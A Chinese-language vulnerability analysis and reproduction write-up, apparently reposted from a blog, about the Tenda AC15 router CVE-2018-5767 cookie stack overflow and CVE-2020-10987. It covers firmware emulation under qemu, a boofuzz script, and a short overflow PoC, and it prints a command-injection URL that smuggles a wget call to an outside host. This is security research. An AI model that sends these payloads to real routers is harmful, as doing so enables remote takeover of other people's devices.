固件中的单个二进制模拟:Tenda AC15 路由器 CVE-2018-5767 / CVE-2020-10987 漏洞分析与复现

编程知识 更新时间:2023-05-02 04:42:19

设备:Tenda AC15 路由器(可能包含其他系列路由器)

固件版本:<V15.03.05.18

测试固件:US_AC15V1.0BR_V15.03.1.16_multi_TD01.bin

0x10 漏洞分析

0x11 httpd 逆向

使用 binwalk 解压固件,打开文件系统 bin/httpd,使用 IDA 分析


虽然该二进制已经 striped,没有符号表,但是仍然能够看到部分函数名,这些名称往往是外部库函数或者是开源代码。如上所示,从这些函数名称可以推断 httpd 使用了 GoAhead


从字符串信息可以进一步推断组件版本信息,2.1.8。找到类似版本 goahead 代码,笔者从 github 上找到了一个大版本接近的源码 2.5。由于 goahead 使用了大量回调,仅仅是从反编译的代码,很难看出处理数据的流程函数。所以,从源码中,简单分析一下处理数据的流程

websUrlHandlerDefine 负责注册各个具体的处理函数,将各个 handlers 放入一个数组中


经过层层回溯,找到最终调用各个处理函数的地方(websUrlHandlerRequest


也就是说,goahead 会根据不同的 url 来决定由哪个函数进行 http 报文的处理。

wp 是真正传入的待处理数据,是一个结构体,此结构体至关重要,IDA 只是会把结构体识别成数组,因此反编译代码中,往往找不到各个元素的定义。我们需要将相关结构体添加到 IDA

IDA中导入C语言声明的结构体

在 View–>Open Subviews–>Local Types 中可以看到本地已有的结构体,右击 insert.可以添加 C 语言声明的结构体

对于 AC15 httpd ,进一步分析 wp 入参的定义,添加以下两个结构体

struct ringq_t{
    unsigned char   *buf;               /* Holding buffer for data */
    unsigned char   *servp;             /* Pointer to start of data */
    unsigned char   *endp;              /* Pointer to end of data */
    unsigned char   *endbuf;            /* Pointer to end of buffer */
    int             buflen;             /* Length of ring queue */
    int             maxsize;            /* Maximum size */
    int             increment;          /* Growth increment */
}
struct websRec {
    ringq_t         header;             /* Header dynamic string */
    __time_t            since;              /* Parsed if-modified-since time */
    char*       cgiVars;            /* CGI standard variables */
    char*       cgiQuery;           /* CGI decoded query string */
    __time_t            timestamp;          /* Last transaction with browser */
    int             timeout;            /* Timeout handle */
    char            ipaddr[32];         /* Connecting ipaddress */
    char            type[64];           /* Mime type */
    char            *dir;               /* Directory containing the page */
    char            *path;              /* Path name without query */
    char            *url;               /* Full request url */
    char            *host;              /* Requested host */
    char            *lpath;             /* Cache local path name */
    char            *query;             /* Request query */
    char            *decodedQuery;      /* Decoded request query */
    char            *authType;          /* Authorization type (Basic/DAA) */
    char            *password;          /* Authorization password */
    char            *userName;          /* Authorization username */
    char            *cookie;            /* Cookie string */
    char            *userAgent;         /* User agent (browser) */
    char            *protocol;          /* Protocol (normally HTTP) */
    char            *protoVersion;      /* Protocol version */
    int             sid;                /* Socket id (handler) */
    int             listenSid;          /* Listen Socket id */
    int             port;               /* Request port number */
    int             state;              /* Current state */
    int             flags;              /* Current flags -- see above */
    int             code;               /* Request result code */
    int             clen;               /* Content length */
    int             wid;                /* Index into webs */
    char            *cgiStdin;          /* filename for CGI stdin */
    int             docfd;              /* Document file descriptor */
    int             numbytes;           /* Bytes to transfer to browser */
    int             written;            /* Bytes actually transferred */
    void            (*writeSocket)(struct websRec *wp);
}

0x12 CVE-2018-5767 栈溢出

sub_2D3F0 函数中,也发现类似的回调函数注册,只是这里,有一个不同寻常的函数 R7WebsSecurityHandler,应该是路由器开发人员自己实现的一个函数


找到此函数定义,并将入参 1 修改为结构体 websRec


sscanf 会从 cookie 字段读取 password 的值,复制到局部变量 v35 ,从而导致栈溢出。

0x13 CVE-2020-10987 远程命令执行

这个漏洞存在多个系列路由器中,包括但不限于以下型号腾达路由器,以及各个型号所有已发布的固件版本都受该漏洞影响,经过验证和分析,该安全问题影响腾达路由器的最新版本固件。

  • AC 6
  • AC 7
  • AC 8
  • AC 9
  • AC 11
  • AC 15

腾达(Tenda) AC 提供Web服务组件中的goform插件存在一个设计缺陷,权限验证不严格,可在未登陆验证的情况下发送特定的数据包成功利用此问题,触发任意命令执行,进而控制路由器设备,Web服务为root权限启动,获取到腾达路由器的最高权限。

这个漏洞在笔者下载的目标固件中,并不存在,所以没有进一步分析,其实漏洞也是比较简单的,命令执行的路径为

http://x.x.x.x/goform/setUsbUnload/?deviceName=;%20wget%20http://dnslog

结合目标目标二进制的反编译程序,就知道了,分析步骤还是类似的。

0x20 搭建目标进程仿真环境

0x21 绕过判断条件

解压固件,尝试运行 httpd,会卡在如下界面

┌──(lys㉿kali)-[~/…/IoT/firmware/_AC15.bin.extracted/squashfs-root]
└─$ qemu-arm -L ./ ./bin/httpd                                                       
init_core_dump 1784: rlim_cur = 0, rlim_max = -1
init_core_dump 1794: open core dump success
sh: 1: cannot create /proc/sys/kernel/core_pattern: Permission denied
init_core_dump 1803: rlim_cur = 5120, rlim_max = 5120


Yes:

      ****** WeLoveLinux****** 

 Welcome to ...

分析 httpd 的反编译代码,在函数入口处发现调用了 check_network 外部函数,该函数如果返回值为 0,则一直处于睡眠状态


比较快捷的方式就是修改 httpd 对应的汇编代码,直接绕过该判断条件


一个很好用的在线汇编和反汇编器


此时再次运行,目标进程有了新的进展

┌──(lys㉿kali)-[~/…/IoT/firmware/_AC15.bin.extracted/squashfs-root]
└─$ qemu-arm -L ./ ./bin/httpd                                                                    1 ⚙
init_core_dump 1784: rlim_cur = 0, rlim_max = -1
init_core_dump 1794: open core dump success
sh: 1: cannot create /proc/sys/kernel/core_pattern: Permission denied
init_core_dump 1803: rlim_cur = 5120, rlim_max = 5120


Yes:

      ****** WeLoveLinux****** 

 Welcome to ...
connect: No such file or directory
Connect to server failed.
connect cfm failed!

通过搜索关键字 connect cfm failed! 定位到相关代码,继续修改 httpd


再次运行 httpd,发现得到的 IP 地址明显有问题


这里是因为没有获取到网卡信息,导致得到了一个随机的 IP 地址,也就是说,虽然该进程跑起来了,但是我们没有办法通过宿主机的网卡连接到 httpd

0x22 修复网卡配置信息

回到 check_network 函数,这是一个外部函数,定义在 libcommon.so


继续分析

int getLanIfName()
{
  return get_eth_name(0);
}

又发现一个外部函数 get_eth_name,其定义在库 libChipApi.so


因此,路由器守护进程 httpd 想要获取的网卡名称是 “br0”。直接在宿主机上新建一个名为 “br0” 的网卡

sudo tunctl -t br0 -u lys          
sudo ifconfig br0 192.168.10.1/24 

此时运行 httpd,即可发现该进程已经成功获取网卡的 IP 地址

0x30 漏洞发现与验证

0x31 协议 fuzz

boofuzz 是一个专门针对协议进行 fuzz 的工具,功能十分强大,但是缺乏相关文档。入门请参考:IoT 设备网络协议模糊测试工具boofuzz实战。根据相关报文,定制脚本如下

from boofuzz import *

IP = "192.168.0.5"
PORT = 80

def check_response(target, fuzz_data_logger, session, *args, **kwargs):
    fuzz_data_logger.log_info("Checking test case response...")
    try:
        response = target.recv(512)
    except:
        fuzz_data_logger.log_fail("Unable to connect to target. Closing...")
        target.close()
        return

    #if empty response
    if not response:
        fuzz_data_logger.log_fail("Empty response, target may be hung. Closing...")
        target.close()
        return

    #remove everything after null terminator, and convert to string
    #response = response[:response.index(0)].decode('utf-8')
    fuzz_data_logger.log_info("response check...\n" + response.decode())
    target.close()
    return
    
def main():
    '''
    options = {
        "start_commands": [
            "sudo chroot /home/lys/Documents/IoT/firmware/_AC15_V15.03.1.16.bin.extracted/squashfs-root ./httpd"
        ],
        "stop_commands": ["echo stopping"],
        "proc_name": ["/usr/bin/qemu-arm-static ./httpd"]
    }
    procmon = ProcessMonitor("127.0.0.1", 26002)
    procmon.set_options(**options)
    '''

    session = Session(
        target=Target(
            connection=SocketConnection(IP, PORT, proto="tcp"),
            # monitors=[procmon]
        ),
        post_test_case_callbacks=[check_response],
    )

    s_initialize(name="Request")
    with s_block("Request-Line"):
        # Line 1
        s_group("Method", ["GET"])
        s_delim(" ", fuzzable=False, name="space-1-1")
        s_string("/goform/123", fuzzable=False)    # fuzzable 1
        s_delim(" ", fuzzable=False, name="space-1-2")
        s_static("HTTP/1.1", name="HTTP_VERSION")
        s_static("\r\n", name="Request-Line-CRLF-1")
        # Line 2
        s_static("Host")
        s_delim(": ", fuzzable=False, name="space-2-1")
        s_string("192.168.0.5", fuzzable=False, name="IP address")
        s_static("\r\n", name="Request-Line-CRLF-2")
        # Line 3
        s_static("Connection")
        s_delim(": ", fuzzable=False, name="space-3-1")
        s_string("keep-alive", fuzzable=False, name="Connection state")
        s_static("\r\n", name="Request-Line-CRLF-3")
        # Line 4
        s_static("Cookie")
        s_delim(": ", fuzzable=False, name="space-4-1")
        s_string("bLanguage", fuzzable=False, name="key-bLanguage")
        s_delim("=", fuzzable=False)
        s_string("en", fuzzable=False, name="value-bLanguage")
        s_delim("; ", fuzzable=False)
        s_string("password", fuzzable=False, name="key-password")
        s_delim("=", fuzzable=False)
        s_string("ce24124987jfjekfjlasfdjmeiruw398r", fuzzable=True)    # fuzzable 2
        s_static("\r\n", name="Request-Line-CRLF-4")
        # over
        s_static("\r\n")
        s_static("\r\n")

    session.connect(s_get("Request"))
    session.fuzz()

if __name__ == "__main__":
    main()

目标进程崩溃


boofuzz 日志中能够看到相应的 crash,说明该用例导致进程崩溃

0x32 POC

可以编写简单的脚本验证

import requests

ip = 192.168.0.5
url = "http://%s/goform/execCommand"%  ip
cookie = {"Cookir":"password=" + "A"*501}
ret = requests.get(url=url,cookies=cookie)
print ret.text

下一步:漏洞利用,栈溢出的利用相对来说还是比较简单的…

0x40 总结

对于传统路由器,单个二进制依赖程度不高,往往能够独立运行,在这种情况下,我们是有可能直接使用 qemu 将一些核心业务拉起来。本文就是利用这种方法,搭建了漏洞复现环境。在分析漏洞时,结合代码类比技术,利用开源代码,对二进制进行修复,这样能够让我们更加清楚整个漏洞形成的原因。

但是,这种复现环境的缺陷也是致命的:没有将整个核心业务跑起来,不知道具体业务场景,也就无法更好的定制化 Fuzz。因此,这种方式更加适合漏洞复现,而不是漏洞发现,要想挖掘路由器的漏洞,最好的方式还是购买真实产品,或者进行系统级别的仿真。

更多推荐

固件中的单个二进制模拟:Tenda AC15 路由器 CVE-2018-5767 / CVE-2020-10987 漏洞分析与复现

本文发布于:2023-04-25 23:27:00,感谢您对本站的认可!
本文链接:https://www.elefans.com/category/jswz/9184c0dea3d915357569c76389b287d5.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
本文标签:路由器   固件   漏洞   Tenda   CVE

发布评论

评论列表 (有 0 条评论)
草根站长

>www.elefans.com

编程频道|电子爱好者 - 技术资讯及电子产品介绍!

  • 103980文章数
  • 26196阅读数
  • 0评论数